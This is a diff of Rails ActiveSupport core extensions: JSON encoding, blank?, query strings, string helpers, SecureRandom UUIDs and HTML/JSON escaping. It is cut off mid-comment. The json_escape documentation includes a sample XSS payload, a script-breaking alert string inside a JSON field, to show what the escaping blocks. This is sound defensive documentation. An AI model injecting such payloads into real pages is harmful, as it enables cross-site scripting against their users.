@@ -8,7 +8,7 @@ require 'active_support/core_ext/object/inclusion'
require 'active_support/core_ext/object/conversions'
require 'active_support/core_ext/object/instance_variables'
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
require 'active_support/core_ext/object/to_param'
require 'active_support/core_ext/object/to_query'
require 'active_support/core_ext/object/with_options'
diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb
index 8a5eb4bc93..38e43478df 100644
--- a/activesupport/lib/active_support/core_ext/object/blank.rb
+++ b/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -4,36 +4,42 @@ class Object
# An object is blank if it's false, empty, or a whitespace string.
# For example, '', ' ', +nil+, [], and {} are all blank.
#
- # This simplifies:
+ # This simplifies
#
- # if address.nil? || address.empty?
+ # address.nil? || address.empty?
#
- # ...to:
+ # to
#
- # if address.blank?
+ # address.blank?
+ #
+ # @return [true, false]
def blank?
- respond_to?(:empty?) ? empty? : !self
+ respond_to?(:empty?) ? !!empty? : !self
end
- # An object is present if it's not <tt>blank?</tt>.
+ # An object is present if it's not blank.
+ #
+ # @return [true, false]
def present?
!blank?
end
- # Returns object if it's <tt>present?</tt> otherwise returns +nil+.
- # <tt>object.presence</tt> is equivalent to <tt>object.present? ? object : nil</tt>.
+ # Returns the receiver if it's present otherwise returns +nil+.
+ # <tt>object.presence</tt> is equivalent to
#
- # This is handy for any representation of objects where blank is the same
- # as not present at all. For example, this simplifies a common check for
- # HTTP POST/query parameters:
+ # object.present? ? object : nil
+ #
+ # For example, something like
#
# state = params[:state] if params[:state].present?
# country = params[:country] if params[:country].present?
# region = state || country || 'US'
#
- # ...becomes:
+ # becomes
#
# region = params[:state].presence || params[:country].presence || 'US'
+ #
+ # @return [Object]
def presence
self if present?
end
@@ -43,6 +49,8 @@ class NilClass
# +nil+ is blank:
#
# nil.blank? # => true
+ #
+ # @return [true]
def blank?
true
end
@@ -52,6 +60,8 @@ class FalseClass
# +false+ is blank:
#
# false.blank? # => true
+ #
+ # @return [true]
def blank?
true
end
@@ -61,6 +71,8 @@ class TrueClass
# +true+ is not blank:
#
# true.blank? # => false
+ #
+ # @return [false]
def blank?
false
end
@@ -71,6 +83,8 @@ class Array
#
# [].blank? # => true
# [1,2,3].blank? # => false
+ #
+ # @return [true, false]
alias_method :blank?, :empty?
end
@@ -79,18 +93,28 @@ class Hash
#
# {}.blank? # => true
# { key: 'value' }.blank? # => false
+ #
+ # @return [true, false]
alias_method :blank?, :empty?
end
class String
+ BLANK_RE = /\A[[:space:]]*\z/
+
# A string is blank if it's empty or contains whitespaces only:
#
- # ''.blank? # => true
- # ' '.blank? # => true
- # ' '.blank? # => true
- # ' something here '.blank? # => false
+ # ''.blank? # => true
+ # ' '.blank? # => true
+ # "\t\n\r".blank? # => true
+ # ' blah '.blank? # => false
+ #
+ # Unicode whitespace is supported:
+ #
+ # "\u00a0".blank? # => true
+ #
+ # @return [true, false]
def blank?
- self !~ /[^[:space:]]/
+ BLANK_RE === self
end
end
@@ -99,6 +123,8 @@ class Numeric #:nodoc:
#
# 1.blank? # => false
# 0.blank? # => false
+ #
+ # @return [false]
def blank?
false
end
diff --git a/activesupport/lib/active_support/core_ext/object/deep_dup.rb b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
index 1d639f3af6..2e99f4a1b8 100644
--- a/activesupport/lib/active_support/core_ext/object/deep_dup.rb
+++ b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
@@ -8,8 +8,8 @@ class Object
# dup = object.deep_dup
# dup.instance_variable_set(:@a, 1)
#
- # object.instance_variable_defined?(:@a) #=> false
- # dup.instance_variable_defined?(:@a) #=> true
+ # object.instance_variable_defined?(:@a) # => false
+ # dup.instance_variable_defined?(:@a) # => true
def deep_dup
duplicable? ? dup : self
end
@@ -22,8 +22,8 @@ class Array
# dup = array.deep_dup
# dup[1][2] = 4
#
- # array[1][2] #=> nil
- # dup[1][2] #=> 4
+ # array[1][2] # => nil
+ # dup[1][2] # => 4
def deep_dup
map { |it| it.deep_dup }
end
@@ -36,8 +36,8 @@ class Hash
# dup = hash.deep_dup
# dup[:a][:c] = 'c'
#
- # hash[:a][:c] #=> nil
- # dup[:a][:c] #=> "c"
+ # hash[:a][:c] # => nil
+ # dup[:a][:c] # => "c"
def deep_dup
each_with_object(dup) do |(key, value), hash|
hash[key.deep_dup] = value.deep_dup
diff --git a/activesupport/lib/active_support/core_ext/object/duplicable.rb b/activesupport/lib/active_support/core_ext/object/duplicable.rb
index 9cd7485e2e..3d2c809c9f 100644
--- a/activesupport/lib/active_support/core_ext/object/duplicable.rb
+++ b/activesupport/lib/active_support/core_ext/object/duplicable.rb
@@ -78,6 +78,9 @@ end
require 'bigdecimal'
class BigDecimal
+ # Needed to support Ruby 1.9.x, as it doesn't allow dup on BigDecimal, instead
+ # raises TypeError exception. Checking here on the runtime whether BigDecimal
+ # will allow dup or not.
begin
BigDecimal.new('4.56').dup
diff --git a/activesupport/lib/active_support/core_ext/object/inclusion.rb b/activesupport/lib/active_support/core_ext/object/inclusion.rb
index b5671f66d0..55f281b213 100644
--- a/activesupport/lib/active_support/core_ext/object/inclusion.rb
+++ b/activesupport/lib/active_support/core_ext/object/inclusion.rb
@@ -12,4 +12,16 @@ class Object
rescue NoMethodError
raise ArgumentError.new("The parameter passed to #in? must respond to #include?")
end
+
+ # Returns the receiver if it's included in the argument otherwise returns +nil+.
+ # Argument must be any object which responds to +#include?+. Usage:
+ #
+ # params[:bucket_type].presence_in %w( project calendar )
+ #
+ # This will throw an ArgumentError if the argument doesn't respond to +#include?+.
+ #
+ # @return [Object]
+ def presence_in(another_object)
+ self.in?(another_object) ? self : nil
+ end
end
diff --git a/activesupport/lib/active_support/core_ext/object/json.rb b/activesupport/lib/active_support/core_ext/object/json.rb
new file mode 100644
index 0000000000..5496692373
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/json.rb
@@ -0,0 +1,197 @@
+# Hack to load json gem first so we can overwrite its to_json.
+require 'json'
+require 'bigdecimal'
+require 'active_support/core_ext/big_decimal/conversions' # for #to_s
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/object/instance_variables'
+require 'time'
+require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/date_time/conversions'
+require 'active_support/core_ext/date/conversions'
+require 'active_support/core_ext/module/aliasing'
+
+# The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
+# their default behavior. That said, we need to define the basic to_json method in all of them,
+# otherwise they will always use to_json gem implementation, which is backwards incompatible in
+# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
+# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
+#
+# On the other hand, we should avoid conflict with ::JSON.{generate,dump}(obj). Unfortunately, the
+# JSON gem's encoder relies on its own to_json implementation to encode objects. Since it always
+# passes a ::JSON::State object as the only argument to to_json, we can detect that and forward the
+# calls to the original to_json method.
+#
+# It should be noted that when using ::JSON.{generate,dump} directly, ActiveSupport's encoder is
+# bypassed completely. This means that as_json won't be invoked and the JSON gem will simply
+# ignore any options it does not natively understand. This also means that ::JSON.{generate,dump}
+# should give exactly the same results with or without active support.
+[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass, Enumerable].each do |klass|
+ klass.class_eval do
+ def to_json_with_active_support_encoder(options = nil)
+ if options.is_a?(::JSON::State)
+ # Called from JSON.{generate,dump}, forward it to JSON gem's to_json
+ self.to_json_without_active_support_encoder(options)
+ else
+ # to_json is being invoked directly, use ActiveSupport's encoder
+ ActiveSupport::JSON.encode(self, options)
+ end
+ end
+
+ alias_method_chain :to_json, :active_support_encoder
+ end
+end
+
+class Object
+ def as_json(options = nil) #:nodoc:
+ if respond_to?(:to_hash)
+ to_hash.as_json(options)
+ else
+ instance_values.as_json(options)
+ end
+ end
+end
+
+class Struct #:nodoc:
+ def as_json(options = nil)
+ Hash[members.zip(values)].as_json(options)
+ end
+end
+
+class TrueClass
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+end
+
+class FalseClass
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+end
+
+class NilClass
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+end
+
+class String
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+end
+
+class Symbol
+ def as_json(options = nil) #:nodoc:
+ to_s
+ end
+end
+
+class Numeric
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+end
+
+class Float
+ # Encoding Infinity or NaN to JSON should return "null". The default returns
+ # "Infinity" or "NaN" which are not valid JSON.
+ def as_json(options = nil) #:nodoc:
+ finite? ? self : nil
+ end
+end
+
+class BigDecimal
+ # A BigDecimal would be naturally represented as a JSON number. Most libraries,
+ # however, parse non-integer JSON numbers directly as floats. Clients using
+ # those libraries would get in general a wrong number and no way to recover
+ # other than manually inspecting the string with the JSON code itself.
+ #
+ # That's why a JSON string is returned. The JSON literal is not numeric, but
+ # if the other end knows by contract that the data is supposed to be a
+ # BigDecimal, it still has the chance to post-process the string and get the
+ # real value.
+ def as_json(options = nil) #:nodoc:
+ finite? ? to_s : nil
+ end
+end
+
+class Regexp
+ def as_json(options = nil) #:nodoc:
+ to_s
+ end
+end
+
+module Enumerable
+ def as_json(options = nil) #:nodoc:
+ to_a.as_json(options)
+ end
+end
+
+class Range
+ def as_json(options = nil) #:nodoc:
+ to_s
+ end
+end
+
+class Array
+ def as_json(options = nil) #:nodoc:
+ map { |v| options ? v.as_json(options.dup) : v.as_json }
+ end
+end
+
+class Hash
+ def as_json(options = nil) #:nodoc:
+ # create a subset of the hash by applying :only or :except
+ subset = if options
+ if attrs = options[:only]
+ slice(*Array(attrs))
+ elsif attrs = options[:except]
+ except(*Array(attrs))
+ else
+ self
+ end
+ else
+ self
+ end
+
+ Hash[subset.map { |k, v| [k.to_s, options ? v.as_json(options.dup) : v.as_json] }]
+ end
+end
+
+class Time
+ def as_json(options = nil) #:nodoc:
+ if ActiveSupport.use_standard_json_time_format
+ xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+ else
+ %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
+ end
+ end
+end
+
+class Date
+ def as_json(options = nil) #:nodoc:
+ if ActiveSupport.use_standard_json_time_format
+ strftime("%Y-%m-%d")
+ else
+ strftime("%Y/%m/%d")
+ end
+ end
+end
+
+class DateTime
+ def as_json(options = nil) #:nodoc:
+ if ActiveSupport.use_standard_json_time_format
+ xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+ else
+ strftime('%Y/%m/%d %H:%M:%S %z')
+ end
+ end
+end
+
+class Process::Status #:nodoc:
+ def as_json(options = nil)
+ { :exitstatus => exitstatus, :pid => pid }
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/to_json.rb b/activesupport/lib/active_support/core_ext/object/to_json.rb
deleted file mode 100644
index 83cc8066e7..0000000000
--- a/activesupport/lib/active_support/core_ext/object/to_json.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# Hack to load json gem first so we can overwrite its to_json.
-begin
- require 'json'
-rescue LoadError
-end
-
-# The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
-# their default behavior. That said, we need to define the basic to_json method in all of them,
-# otherwise they will always use to_json gem implementation, which is backwards incompatible in
-# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
-# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
-[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass].each do |klass|
- klass.class_eval do
- # Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
- def to_json(options = nil)
- ActiveSupport::JSON.encode(self, options)
- end
- end
-end
-
-module Process
- class Status
- def as_json(options = nil)
- { :exitstatus => exitstatus, :pid => pid }
- end
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/object/to_param.rb b/activesupport/lib/active_support/core_ext/object/to_param.rb
index 3b137ce6ae..e65fc5bac1 100644
--- a/activesupport/lib/active_support/core_ext/object/to_param.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_param.rb
@@ -52,7 +52,9 @@ class Hash
# This method is also aliased as +to_query+.
def to_param(namespace = nil)
collect do |key, value|
- value.to_query(namespace ? "#{namespace}[#{key}]" : key)
- end.sort! * '&'
+ unless (value.is_a?(Hash) || value.is_a?(Array)) && value.empty?
+ value.to_query(namespace ? "#{namespace}[#{key}]" : key)
+ end
+ end.compact.sort! * '&'
end
end
diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb
index 5d5fcf00e0..37352fa608 100644
--- a/activesupport/lib/active_support/core_ext/object/to_query.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_query.rb
@@ -18,7 +18,12 @@ class Array
# ['Rails', 'coding'].to_query('hobbies') # => "hobbies%5B%5D=Rails&hobbies%5B%5D=coding"
def to_query(key)
prefix = "#{key}[]"
- collect { |value| value.to_query(prefix) }.join '&'
+
+ if empty?
+ nil.to_query(prefix)
+ else
+ collect { |value| value.to_query(prefix) }.join '&'
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb
index 534bbe3c42..48190e1e66 100644
--- a/activesupport/lib/active_support/core_ext/object/try.rb
+++ b/activesupport/lib/active_support/core_ext/object/try.rb
@@ -47,7 +47,7 @@ class Object
end
# Same as #try, but will raise a NoMethodError exception if the receiving is not nil and
- # does not implemented the tried method.
+ # does not implement the tried method.
def try!(*a, &b)
if a.empty? && block_given?
yield self
diff --git a/activesupport/lib/active_support/core_ext/proc.rb b/activesupport/lib/active_support/core_ext/proc.rb
deleted file mode 100644
index 166c3855a0..0000000000
--- a/activesupport/lib/active_support/core_ext/proc.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "active_support/core_ext/kernel/singleton_class"
-require "active_support/deprecation"
-
-class Proc #:nodoc:
- def bind(object)
- ActiveSupport::Deprecation.warn 'Proc#bind is deprecated and will be removed in future versions'
-
- block, time = self, Time.now
- object.class_eval do
- method_name = "__bind_#{time.to_i}_#{time.usec}"
- define_method(method_name, &block)
- method = instance_method(method_name)
- remove_method(method_name)
- method
- end.bind(object)
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/range.rb b/activesupport/lib/active_support/core_ext/range.rb
index 1d8b1ede5a..9368e81235 100644
--- a/activesupport/lib/active_support/core_ext/range.rb
+++ b/activesupport/lib/active_support/core_ext/range.rb
@@ -1,3 +1,4 @@
require 'active_support/core_ext/range/conversions'
require 'active_support/core_ext/range/include_range'
require 'active_support/core_ext/range/overlaps'
+require 'active_support/core_ext/range/each'
diff --git a/activesupport/lib/active_support/core_ext/range/each.rb b/activesupport/lib/active_support/core_ext/range/each.rb
new file mode 100644
index 0000000000..ecef78f55f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/each.rb
@@ -0,0 +1,23 @@
+require 'active_support/core_ext/module/aliasing'
+
+class Range #:nodoc:
+
+ def each_with_time_with_zone(&block)
+ ensure_iteration_allowed
+ each_without_time_with_zone(&block)
+ end
+ alias_method_chain :each, :time_with_zone
+
+ def step_with_time_with_zone(n = 1, &block)
+ ensure_iteration_allowed
+ step_without_time_with_zone(n, &block)
+ end
+ alias_method_chain :step, :time_with_zone
+
+ private
+ def ensure_iteration_allowed
+ if first.is_a?(Time)
+ raise TypeError, "can't iterate from #{first.class}"
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/securerandom.rb b/activesupport/lib/active_support/core_ext/securerandom.rb
new file mode 100644
index 0000000000..fec8f7c0ec
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/securerandom.rb
@@ -0,0 +1,47 @@
+module SecureRandom
+ UUID_DNS_NAMESPACE = "k\xA7\xB8\x10\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+ UUID_URL_NAMESPACE = "k\xA7\xB8\x11\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+ UUID_OID_NAMESPACE = "k\xA7\xB8\x12\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+ UUID_X500_NAMESPACE = "k\xA7\xB8\x14\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+
+ # Generates a v5 non-random UUID (Universally Unique IDentifier).
+ #
+ # Using Digest::MD5 generates version 3 UUIDs; Digest::SHA1 generates version 5 UUIDs.
+ # ::uuid_from_hash always generates the same UUID for a given name and namespace combination.
+ #
+ # See RFC 4122 for details of UUID at: http://www.ietf.org/rfc/rfc4122.txt
+ def self.uuid_from_hash(hash_class, uuid_namespace, name)
+ if hash_class == Digest::MD5
+ version = 3
+ elsif hash_class == Digest::SHA1
+ version = 5
+ else
+ raise ArgumentError, "Expected Digest::SHA1 or Digest::MD5, got #{hash_class.name}."
+ end
+
+ hash = hash_class.new
+ hash.update(uuid_namespace)
+ hash.update(name)
+
+ ary = hash.digest.unpack('NnnnnN')
+ ary[2] = (ary[2] & 0x0FFF) | (version << 12)
+ ary[3] = (ary[3] & 0x3FFF) | 0x8000
+
+ "%08x-%04x-%04x-%04x-%04x%08x" % ary
+ end
+
+ # Convenience method for ::uuid_from_hash using Digest::MD5.
+ def self.uuid_v3(uuid_namespace, name)
+ self.uuid_from_hash(Digest::MD5, uuid_namespace, name)
+ end
+
+ # Convenience method for ::uuid_from_hash using Digest::SHA1.
+ def self.uuid_v5(uuid_namespace, name)
+ self.uuid_from_hash(Digest::SHA1, uuid_namespace, name)
+ end
+
+ class << self
+ # Alias for ::uuid.
+ alias_method :uuid_v4, :uuid
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/access.rb b/activesupport/lib/active_support/core_ext/string/access.rb
index 8fa8157d65..ebd0dd3fc7 100644
--- a/activesupport/lib/active_support/core_ext/string/access.rb
+++ b/activesupport/lib/active_support/core_ext/string/access.rb
@@ -8,22 +8,22 @@ class String
# the beginning of the range is greater than the end of the string.
#
# str = "hello"
- # str.at(0) #=> "h"
- # str.at(1..3) #=> "ell"
- # str.at(-2) #=> "l"
- # str.at(-2..-1) #=> "lo"
- # str.at(5) #=> nil
- # str.at(5..-1) #=> ""
+ # str.at(0) # => "h"
+ # str.at(1..3) # => "ell"
+ # str.at(-2) # => "l"
+ # str.at(-2..-1) # => "lo"
+ # str.at(5) # => nil
+ # str.at(5..-1) # => ""
#
# If a Regexp is given, the matching portion of the string is returned.
# If a String is given, that given string is returned if it occurs in
# the string. In both cases, nil is returned if there is no match.
#
# str = "hello"
- # str.at(/lo/) #=> "lo"
- # str.at(/ol/) #=> nil
- # str.at("lo") #=> "lo"
- # str.at("ol") #=> nil
+ # str.at(/lo/) # => "lo"
+ # str.at(/ol/) # => nil
+ # str.at("lo") # => "lo"
+ # str.at("ol") # => nil
def at(position)
self[position]
end
@@ -32,15 +32,15 @@ class String
# If the position is negative, it is counted from the end of the string.
#
# str = "hello"
- # str.from(0) #=> "hello"
- # str.from(3) #=> "lo"
- # str.from(-2) #=> "lo"
+ # str.from(0) # => "hello"
+ # str.from(3) # => "lo"
+ # str.from(-2) # => "lo"
#
# You can mix it with +to+ method and do fun things like:
#
# str = "hello"
- # str.from(0).to(-1) #=> "hello"
- # str.from(1).to(-2) #=> "ell"
+ # str.from(0).to(-1) # => "hello"
+ # str.from(1).to(-2) # => "ell"
def from(position)
self[position..-1]
end
@@ -49,34 +49,34 @@ class String
# If the position is negative, it is counted from the end of the string.
#
# str = "hello"
- # str.to(0) #=> "h"
- # str.to(3) #=> "hell"
- # str.to(-2) #=> "hell"
+ # str.to(0) # => "h"
+ # str.to(3) # => "hell"
+ # str.to(-2) # => "hell"
#
# You can mix it with +from+ method and do fun things like:
#
# str = "hello"
- # str.from(0).to(-1) #=> "hello"
- # str.from(1).to(-2) #=> "ell"
+ # str.from(0).to(-1) # => "hello"
+ # str.from(1).to(-2) # => "ell"
def to(position)
self[0..position]
end
# Returns the first character. If a limit is supplied, returns a substring
# from the beginning of the string until it reaches the limit value. If the
- # given limit is greater than or equal to the string length, returns self.
+ # given limit is greater than or equal to the string length, returns a copy of self.
#
# str = "hello"
- # str.first #=> "h"
- # str.first(1) #=> "h"
- # str.first(2) #=> "he"
- # str.first(0) #=> ""
- # str.first(6) #=> "hello"
+ # str.first # => "h"
+ # str.first(1) # => "h"
+ # str.first(2) # => "he"
+ # str.first(0) # => ""
+ # str.first(6) # => "hello"
def first(limit = 1)
if limit == 0
''
elsif limit >= size
- self
+ self.dup
else
to(limit - 1)
end
@@ -84,19 +84,19 @@ class String
# Returns the last character of the string. If a limit is supplied, returns a substring
# from the end of the string until it reaches the limit value (counting backwards). If
- # the given limit is greater than or equal to the string length, returns self.
+ # the given limit is greater than or equal to the string length, returns a copy of self.
#
# str = "hello"
- # str.last #=> "o"
- # str.last(1) #=> "o"
- # str.last(2) #=> "lo"
- # str.last(0) #=> ""
- # str.last(6) #=> "hello"
+ # str.last # => "o"
+ # str.last(1) # => "o"
+ # str.last(2) # => "lo"
+ # str.last(0) # => ""
+ # str.last(6) # => "hello"
def last(limit = 1)
if limit == 0
''
elsif limit >= size
- self
+ self.dup
else
from(-limit)
end
diff --git a/activesupport/lib/active_support/core_ext/string/conversions.rb b/activesupport/lib/active_support/core_ext/string/conversions.rb
index 6691fc0995..3e0cb8a7ac 100644
--- a/activesupport/lib/active_support/core_ext/string/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/string/conversions.rb
@@ -36,20 +36,20 @@ class String
# Converts a string to a Date value.
#
- # "1-1-2012".to_date #=> Sun, 01 Jan 2012
- # "01/01/2012".to_date #=> Sun, 01 Jan 2012
- # "2012-12-13".to_date #=> Thu, 13 Dec 2012
- # "12/13/2012".to_date #=> ArgumentError: invalid date
+ # "1-1-2012".to_date # => Sun, 01 Jan 2012
+ # "01/01/2012".to_date # => Sun, 01 Jan 2012
+ # "2012-12-13".to_date # => Thu, 13 Dec 2012
+ # "12/13/2012".to_date # => ArgumentError: invalid date
def to_date
::Date.parse(self, false) unless blank?
end
# Converts a string to a DateTime value.
#
- # "1-1-2012".to_datetime #=> Sun, 01 Jan 2012 00:00:00 +0000
- # "01/01/2012 23:59:59".to_datetime #=> Sun, 01 Jan 2012 23:59:59 +0000
- # "2012-12-13 12:50".to_datetime #=> Thu, 13 Dec 2012 12:50:00 +0000
- # "12/13/2012".to_datetime #=> ArgumentError: invalid date
+ # "1-1-2012".to_datetime # => Sun, 01 Jan 2012 00:00:00 +0000
+ # "01/01/2012 23:59:59".to_datetime # => Sun, 01 Jan 2012 23:59:59 +0000
+ # "2012-12-13 12:50".to_datetime # => Thu, 13 Dec 2012 12:50:00 +0000
+ # "12/13/2012".to_datetime # => ArgumentError: invalid date
def to_datetime
::DateTime.parse(self, false) unless blank?
end
diff --git a/activesupport/lib/active_support/core_ext/string/encoding.rb b/activesupport/lib/active_support/core_ext/string/encoding.rb
deleted file mode 100644
index a583b914db..0000000000
--- a/activesupport/lib/active_support/core_ext/string/encoding.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'active_support/deprecation'
-
-class String
- def encoding_aware?
- ActiveSupport::Deprecation.warn 'String#encoding_aware? is deprecated'
- true
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/string/exclude.rb b/activesupport/lib/active_support/core_ext/string/exclude.rb
index 114bcb87f0..0ac684f6ee 100644
--- a/activesupport/lib/active_support/core_ext/string/exclude.rb
+++ b/activesupport/lib/active_support/core_ext/string/exclude.rb
@@ -2,9 +2,9 @@ class String
# The inverse of <tt>String#include?</tt>. Returns true if the string
# does not include the other string.
#
- # "hello".exclude? "lo" #=> false
- # "hello".exclude? "ol" #=> true
- # "hello".exclude? ?h #=> false
+ # "hello".exclude? "lo" # => false
+ # "hello".exclude? "ol" # => true
+ # "hello".exclude? ?h # => false
def exclude?(string)
!include?(string)
end
diff --git a/activesupport/lib/active_support/core_ext/string/filters.rb b/activesupport/lib/active_support/core_ext/string/filters.rb
index c62bb41416..49c0df6026 100644
--- a/activesupport/lib/active_support/core_ext/string/filters.rb
+++ b/activesupport/lib/active_support/core_ext/string/filters.rb
@@ -20,6 +20,16 @@ class String
self
end
+ # Returns a new string with all occurrences of the pattern removed. Short-hand for String#gsub(pattern, '').
+ def remove(pattern)
+ gsub pattern, ''
+ end
+
+ # Alters the string by removing all occurrences of the pattern. Short-hand for String#gsub!(pattern, '').
+ def remove!(pattern)
+ gsub! pattern, ''
+ end
+
# Truncates a given +text+ after a given <tt>length</tt> if +text+ is longer than <tt>length</tt>:
#
# 'Once upon a time in a world far far away'.truncate(27)
@@ -41,8 +51,8 @@ class String
def truncate(truncate_at, options = {})
return dup unless length > truncate_at
- options[:omission] ||= '...'
- length_with_room_for_omission = truncate_at - options[:omission].length
+ omission = options[:omission] || '...'
+ length_with_room_for_omission = truncate_at - omission.length
stop = \
if options[:separator]
rindex(options[:separator], length_with_room_for_omission) || length_with_room_for_omission
@@ -50,6 +60,6 @@ class String
length_with_room_for_omission
end
- "#{self[0...stop]}#{options[:omission]}"
+ "#{self[0, stop]}#{omission}"
end
end
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
index 56e8a5f98d..a943752f17 100644
--- a/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -31,7 +31,7 @@ class String
def pluralize(count = nil, locale = :en)
locale = count if count.is_a?(Symbol)
if count == 1
- self
+ self.dup
else
ActiveSupport::Inflector.pluralize(self, locale)
end
@@ -130,6 +130,8 @@ class String
#
# 'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
# 'Inflections'.demodulize # => "Inflections"
+ # '::Inflections'.demodulize # => "Inflections"
+ # ''.demodulize # => ''
#
# See also +deconstantize+.
def demodulize
@@ -182,21 +184,23 @@ class String
#
# 'egg_and_hams'.classify # => "EggAndHam"
# 'posts'.classify # => "Post"
- #
- # Singular names are not handled correctly.
- #
- # 'business'.classify # => "Business"
def classify
ActiveSupport::Inflector.classify(self)
end
- # Capitalizes the first word, turns underscores into spaces, and strips '_id'.
+ # Capitalizes the first word, turns underscores into spaces, and strips a
+ # trailing '_id' if present.
# Like +titleize+, this is meant for creating pretty output.
#
- # 'employee_salary'.humanize # => "Employee salary"
- # 'author_id'.humanize # => "Author"
- def humanize
- ActiveSupport::Inflector.humanize(self)
+ # The capitalization of the first word can be turned off by setting the
+ # optional parameter +capitalize+ to false.
+ # By default, this parameter is true.
+ #
+ # 'employee_salary'.humanize # => "Employee salary"
+ # 'author_id'.humanize # => "Author"
+ # 'author_id'.humanize(capitalize: false) # => "author"
+ def humanize(options = {})
+ ActiveSupport::Inflector.humanize(self, options)
end
# Creates a foreign key name from a class name.
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index dc033ed11b..2c8995be9a 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -1,12 +1,14 @@
require 'erb'
require 'active_support/core_ext/kernel/singleton_class'
+require 'active_support/deprecation'
class ERB
module Util
HTML_ESCAPE = { '&' => '&amp;', '>' => '&gt;', '<' => '&lt;', '"' => '&quot;', "'" => '&#39;' }
- JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
+ JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003e', '<' => '\u003c', "\u2028" => '\u2028', "\u2029" => '\u2029' }
+ HTML_ESCAPE_REGEXP = /[&"'><]/
HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+));)/
- JSON_ESCAPE_REGEXP = /[&"><]/
+ JSON_ESCAPE_REGEXP = /[\u2028\u2029&><]/u
# A utility method for escaping HTML tag characters.
# This method is also aliased as <tt>h</tt>.
@@ -21,7 +23,7 @@ class ERB
if s.html_safe?
s
else
- s.gsub(/[&"'><]/, HTML_ESCAPE).html_safe
+ s.gsub(HTML_ESCAPE_REGEXP, HTML_ESCAPE).html_safe
end
end
@@ -48,17 +50,56 @@ class ERB
module_function :html_escape_once
- # A utility method for escaping HTML entities in JSON strings
- # using \uXXXX JavaScript escape sequences for string literals:
+ # A utility method for escaping HTML entities in JSON strings. Specifically, the
+ # &, > and < characters are replaced with their equivalent unicode escaped form -
+ # \u0026, \u003e, and \u003c. The Unicode sequences \u2028 and \u2029 are also
+ # escaped as they are treated as newline characters in some JavaScript engines.
+ # These sequences have identical meaning as the original characters inside the
+ # context of a JSON string, so assuming the input is a valid and well-formed
+ # JSON value, the output will have equivalent meaning when parsed:
#
- # json_escape('is a > 0 & a < 10?')
- # # => is a \u003E 0 \u0026 a \u003C 10?
+ # json = JSON.generate({ name: "</script><script>alert('PWNED!!!')</script>"})
+ # # => "{\"name\":\"</script><script>alert('PWNED!!!')</script>\"}"
#
- # Note that after this operation is performed the output is not
- # valid JSON. In particular double quotes are removed:
+ # json_escape(json)
+ # # => "{\"name\":\"\\u003C/script\\u003E\\u003Cscript\\u003Ealert('PWNED!!!')\\u003C/script\\u003E\"}"
#
- # json_escape('{"name":"john","created_at":"2010-04-28T01:39:31Z","id":1}')
- # # => {name:john,created_at:2010-04-28T01:39:31Z,id:1}
+ # JSON.parse(json) == JSON.parse(json_escape(json))
+ # # => true
+ #
+ # The intended use case for this method is to escape JSON strings before including
+ # them inside a script tag to avoid XSS vulnerability:
+ #
+ # <script>
+ # var currentUser = <%= raw json_escape(current_user.to_json) %>;
+ # </script>
+ #
